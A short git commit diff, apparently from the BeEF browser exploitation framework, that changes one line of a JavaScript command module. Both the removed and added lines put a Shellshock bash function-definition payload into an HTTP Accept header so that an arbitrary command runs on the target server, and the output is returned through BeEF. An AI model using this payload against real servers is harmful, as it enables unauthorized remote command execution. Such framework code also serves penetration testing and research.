fixed accept type

This commit is contained in:
radoen
2014-09-28 13:44:05 +02:00
parent ff1199ab87
commit cd06076d92

View File

@@ -18,7 +18,7 @@ beef.execute(function () {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: application/xml\"; echo; echo; " + command);
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
xhr.send(null);
}
catch (e){